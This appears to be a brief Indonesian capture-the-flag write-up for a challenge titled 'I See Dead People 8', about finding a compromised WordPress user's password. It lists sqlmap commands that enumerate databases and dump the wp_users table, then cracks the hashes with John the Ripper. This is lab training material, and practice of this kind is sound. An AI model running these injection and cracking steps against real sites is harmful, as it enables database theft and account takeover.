I See Dead People 8

Ada satu user di aplikasi wordpress yang ter-compromised
anda diminta untuk memberitahukan password baru dari user itu. apa password barunya ?

# sqlmap -r hasil --dbs
[*] cuppa
[*] dvwa
dst...

# sqlmap -r hasil -D cuppa --tables
# sqlmap -r hasil -D cuppa -T wp_users --columns
# sqlmap -r hasil -D cuppa -T wp_users -C password,username.user_id.email --dump

kemudian, ambil hasil paswordnya (hasil passwordnya saja) dan simpan ke dalam file
misalnya file dengan nama xyzabc (pakai nano simpannya)
sqlmap -r blublublu

#john xyzabc